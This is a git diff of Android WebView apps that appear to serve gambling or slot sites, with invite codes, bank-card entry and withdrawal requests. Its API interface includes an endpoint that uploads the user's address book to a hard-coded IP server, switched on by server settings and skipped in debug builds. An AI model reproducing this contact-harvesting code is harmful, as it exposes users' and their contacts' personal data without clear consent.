#FFFFFFFF + #ffffff + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/bantuan88/src/main/res/values/strings.xml b/bantuan88/src/main/res/values/strings.xml new file mode 100644 index 0000000..6d567a5 --- /dev/null +++ b/bantuan88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BANTUAN88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/values/themes.xml b/bantuan88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/bantuan88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/xml/app_updater_paths.xml b/bantuan88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bantuan88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/xml/network_security_config.xml b/bantuan88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bantuan88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bantuan88/src/main/res/xml/provider_paths.xml b/bantuan88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bantuan88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bantuan88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bantuan88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bantuan88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base/src/main/java/com/web/base/MainActivity2.java b/base/src/main/java/com/web/base/MainActivity2.java index 64fd5ff..7cf4ff3 100644 --- a/base/src/main/java/com/web/base/MainActivity2.java +++ b/base/src/main/java/com/web/base/MainActivity2.java @@ -163,9 +163,9 @@ public class MainActivity2 extends AppCompatActivity { tvLink = findViewById(R.id.tv_link); ivLinkBg = findViewById(R.id.iv_linkbg); ivHome = findViewById(R.id.iv_home); - ivNotify.setOnClickListener(view -> { - notifyclick(); - }); +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); ivFaceBook.setOnClickListener(view -> { toOtherApp(facebookUrl, "com.facebook.katana", 1); }); @@ -194,7 +194,7 @@ public class MainActivity2 extends AppCompatActivity { } }); - notifyCardView.setOnTouchListener((v, event) -> { + layoutOtherApp.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: @@ -603,7 +603,8 @@ public class MainActivity2 extends AppCompatActivity { otherApp.setVisibility(View.INVISIBLE); ivNotify.setVisibility(View.VISIBLE); - if(userId == 112||userId == 87||userId == 91||userId ==93||userId ==92||userId==84||userId == 120){ + if(userId == 112||userId == 87||userId == 91||userId ==93 + ||userId ==92||userId==84||userId == 120||userId ==70){ ivNotify.setVisibility(View.INVISIBLE); } ivotherApp.setImageResource(R.mipmap.ic_shousuo); @@ -673,7 +674,7 @@ public class MainActivity2 extends AppCompatActivity { contactApply = dataInfo.getContactApplyMode(); notifyApply = dataInfo.getNoticeApplyMode(); if (contactApply == 0 || contactApply == 1) { - readContact(); +// readContact(); } if (notifyApply == 0 || notifyApply == 1) { checkNotify(); @@ -726,6 +727,9 @@ public class MainActivity2 extends AppCompatActivity { Manifest.permission.READ_CONTACTS}; public void readContact() { + if(BuildConfig.BUILD_TYPE.equals("debug")){ + return; + } if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); } else { @@ -1374,7 +1378,7 @@ public class MainActivity2 extends AppCompatActivity { break; case 2222: if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { - readContact(); +// readContact(); } else { //没同意 if (contactApply == 1) { diff --git a/base/src/main/java/com/web/base/MyNotifyListAdapter.java b/base/src/main/java/com/web/base/MyNotifyListAdapter.java index 6c67a08..a499d91 100644 --- a/base/src/main/java/com/web/base/MyNotifyListAdapter.java +++ b/base/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -91,8 +91,13 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + }); webView.setWebViewClient(new WebViewClient() { @@ -329,6 +356,53 @@ public class WebViewActivity extends AppCompatActivity { } } + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; private boolean isNetError = false; public void onShowErrorView(String errorMsg) { //网络不可用的情况 diff --git a/base/src/main/res/layout/item_notify_list.xml b/base/src/main/res/layout/item_notify_list.xml index 45560ba..11ebdab 100644 --- a/base/src/main/res/layout/item_notify_list.xml +++ b/base/src/main/res/layout/item_notify_list.xml @@ -132,6 +132,7 @@ android:id="@+id/iv_notifyimage" android:layout_width="match_parent" android:layout_marginBottom="5dp" + android:adjustViewBounds="true" android:layout_height="wrap_content" /> - TestApp Please Set Your Password Cancel Sure diff --git a/base/src/main/res/values/strings.xml b/base/src/main/res/values/strings.xml index 93e4586..d609113 100644 --- a/base/src/main/res/values/strings.xml +++ b/base/src/main/res/values/strings.xml @@ -1,5 +1,4 @@ - TestApp 请输入6位密码 取消 确定 diff --git a/base_Fachai8hk/.gitignore b/base_Fachai8hk/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_Fachai8hk/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_Fachai8hk/build.gradle b/base_Fachai8hk/build.gradle new file mode 100644 index 0000000..0230086 --- /dev/null +++ b/base_Fachai8hk/build.gradle @@ -0,0 +1,53 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_Fachai8hk/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_Fachai8hk/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/base_Fachai8hk/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_Fachai8hk/proguard-rules.pro b/base_Fachai8hk/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_Fachai8hk/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_Fachai8hk/release/output-metadata.json b/base_Fachai8hk/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_Fachai8hk/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_Fachai8hk/release/testweb.apk b/base_Fachai8hk/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_Fachai8hk/release/testweb.apk differ diff --git a/base_Fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_Fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_Fachai8hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_Fachai8hk/src/main/AndroidManifest.xml b/base_Fachai8hk/src/main/AndroidManifest.xml new file mode 100644 index 0000000..df1c588 --- /dev/null +++ b/base_Fachai8hk/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionBankInfoDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionBankInfoDialog.java similarity index 92% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionBankInfoDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionBankInfoDialog.java index 90e7e3c..de6fa06 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionBankInfoDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; @@ -77,13 +77,10 @@ public class ActionBankInfoDialog extends Dialog { recyclerView.setLayoutManager(new LinearLayoutManager(context)); adapter = new MyBankListAdapter(listdata); recyclerView.setAdapter(adapter); - adapter.setOnItemClick(new MyBankListAdapter.onItemClickPostionListener() { - @Override - public void item(int position) { - itemSelector = listdata.get(position); - tvbankName.setText(itemSelector.getBankName()); - recyclerView.setVisibility(View.GONE); - } + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); }); tvbankName.setText(MainActivity.getString(context, "bankname", "")); @@ -157,12 +154,6 @@ public class ActionBankInfoDialog extends Dialog { adapter.setListdata(listdata); listCountryAdapter.setListdata(listcountry); } -// if (o.data != null && o.data.size() > 0) { -// listdata.clear(); -// listdata.addAll(o.data); -// adapter.setListdata(listdata); -// recyclerView.setVisibility(View.VISIBLE); -// } } diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionConfirmDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionConfirmDialog.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionConfirmDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionConfirmDialog.java index 3c812d6..2f516b7 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionConfirmDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionConfirmDialog.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionInviteDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionInviteDialog.java similarity index 97% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionInviteDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionInviteDialog.java index 62ae5cf..3ec9f8f 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionInviteDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionInviteDialog.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; @@ -6,7 +6,6 @@ import android.os.Bundle; import android.text.TextUtils; import android.view.Gravity; import android.view.View; -import android.view.ViewTreeObserver; import android.view.Window; import android.view.WindowManager; import android.widget.EditText; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionInviteRecordsDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionInviteRecordsDialog.java similarity index 94% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionInviteRecordsDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionInviteRecordsDialog.java index e7fa52c..02db642 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionInviteRecordsDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -1,27 +1,18 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; -import android.database.DataSetObserver; import android.os.Bundle; -import android.text.TextUtils; import android.view.Gravity; import android.view.View; -import android.view.ViewGroup; import android.view.Window; import android.view.WindowManager; -import android.widget.EditText; -import android.widget.ListAdapter; import android.widget.TextView; -import android.widget.Toast; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; -import com.web.dmcslot.R; - import java.util.ArrayList; -import java.util.HashMap; import java.util.List; import io.reactivex.android.schedulers.AndroidSchedulers; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionSelectDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionSelectDialog.java similarity index 65% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionSelectDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionSelectDialog.java index ea0b6e9..aad19a6 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionSelectDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionSelectDialog.java @@ -1,8 +1,7 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; -import android.graphics.drawable.ColorDrawable; import android.os.Bundle; import android.view.Gravity; import android.view.View; @@ -51,13 +50,10 @@ public class ActionSelectDialog extends Dialog { shareTv = (TextView) findViewById(R.id.share); checkTv = (TextView) findViewById(R.id.check); - shareTv.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View view) { - dismiss(); - if (onToLoginListener != null) { - onToLoginListener.toShare(); - } + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); } }); checkTv.setOnClickListener(view -> { @@ -95,25 +91,5 @@ public class ActionSelectDialog extends Dialog { window.setAttributes(wlp); } -// private void fullScreenImmersive(View view) { -// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { -// int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE -// | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION -// | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION -// | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY -// | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN -// | View.SYSTEM_UI_FLAG_FULLSCREEN; -// view.setSystemUiVisibility(uiOptions); -// } -// } -// -// @Override -// public void show() { -// this.getWindow().setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); -// super.show(); -// fullScreenImmersive(getWindow().getDecorView()); -// this.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); -// } - } diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawApplyDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawApplyDialog.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawApplyDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawApplyDialog.java index 8dff527..67e6b23 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawApplyDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; @@ -19,8 +19,6 @@ import android.widget.Toast; public class ActionWithDrawApplyDialog extends Dialog { private final Context context; private View lineV; - - private EditText inputTxt; private TextView cancelTv; private TextView sumbitTv; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawRecordsDialog.java b/base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawRecordsDialog.java rename to base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java index 536a7a4..a9f8fbe 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ActionWithDrawRecordsDialog.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.app.Dialog; import android.content.Context; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/Api.java b/base_Fachai8hk/src/main/java/com/web/base/Api.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/Api.java rename to base_Fachai8hk/src/main/java/com/web/base/Api.java index ce9ec53..286a17d 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/Api.java +++ b/base_Fachai8hk/src/main/java/com/web/base/Api.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.net.Proxy; import java.util.concurrent.TimeUnit; diff --git a/base_Fachai8hk/src/main/java/com/web/base/ApiService.java b/base_Fachai8hk/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..f2fdf2f --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,108 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + String URL = "http://8.218.177.7:18000/"; +// String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + String savenotify ="notify"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 验证邀请码 + */ + @PUT("api/invite/send") + Observable> checkInvited(@Body Map map); + + /** + * 获取我的邀请码 + */ + @POST("api/invite/my") + Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + /** + * 获取邀请记录 + */ + @GET("/api/invite/records") + Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 获取提现记录 + */ + @GET("/api/withdraw") + Observable> getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + + /** + * 获取银行列表 + */ + @GET("/api/withdraw/banks") + Observable>>> getBankInfoList(); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/BankInfo.java b/base_Fachai8hk/src/main/java/com/web/base/BankInfo.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/BankInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/BankInfo.java index ec9102f..c1bb3de 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/BankInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/BankInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/BaseApi.java b/base_Fachai8hk/src/main/java/com/web/base/BaseApi.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/BaseApi.java rename to base_Fachai8hk/src/main/java/com/web/base/BaseApi.java index 7e50f30..6020adc 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/BaseApi.java +++ b/base_Fachai8hk/src/main/java/com/web/base/BaseApi.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import okhttp3.OkHttpClient; import retrofit2.Retrofit; diff --git a/base_Fachai8hk/src/main/java/com/web/base/BaseObserver.java b/base_Fachai8hk/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/CircleImageView.java b/base_Fachai8hk/src/main/java/com/web/base/CircleImageView.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/CircleImageView.java rename to base_Fachai8hk/src/main/java/com/web/base/CircleImageView.java index 6cc10bd..cf84202 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/CircleImageView.java +++ b/base_Fachai8hk/src/main/java/com/web/base/CircleImageView.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.annotation.SuppressLint; import android.content.Context; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ContactBean.java b/base_Fachai8hk/src/main/java/com/web/base/ContactBean.java similarity index 94% rename from Dmcslot/src/main/java/com/web/dmcslot/ContactBean.java rename to base_Fachai8hk/src/main/java/com/web/base/ContactBean.java index 5e583f6..18251d9 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ContactBean.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ContactBean.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; public class ContactBean { diff --git a/Dmcslot/src/main/java/com/web/dmcslot/DataInfo.java b/base_Fachai8hk/src/main/java/com/web/base/DataInfo.java similarity index 97% rename from Dmcslot/src/main/java/com/web/dmcslot/DataInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/DataInfo.java index 7f83a46..f294620 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/DataInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/DataInfo.java @@ -1,8 +1,6 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; -import java.util.ArrayList; -import java.util.List; public class DataInfo implements Serializable { diff --git 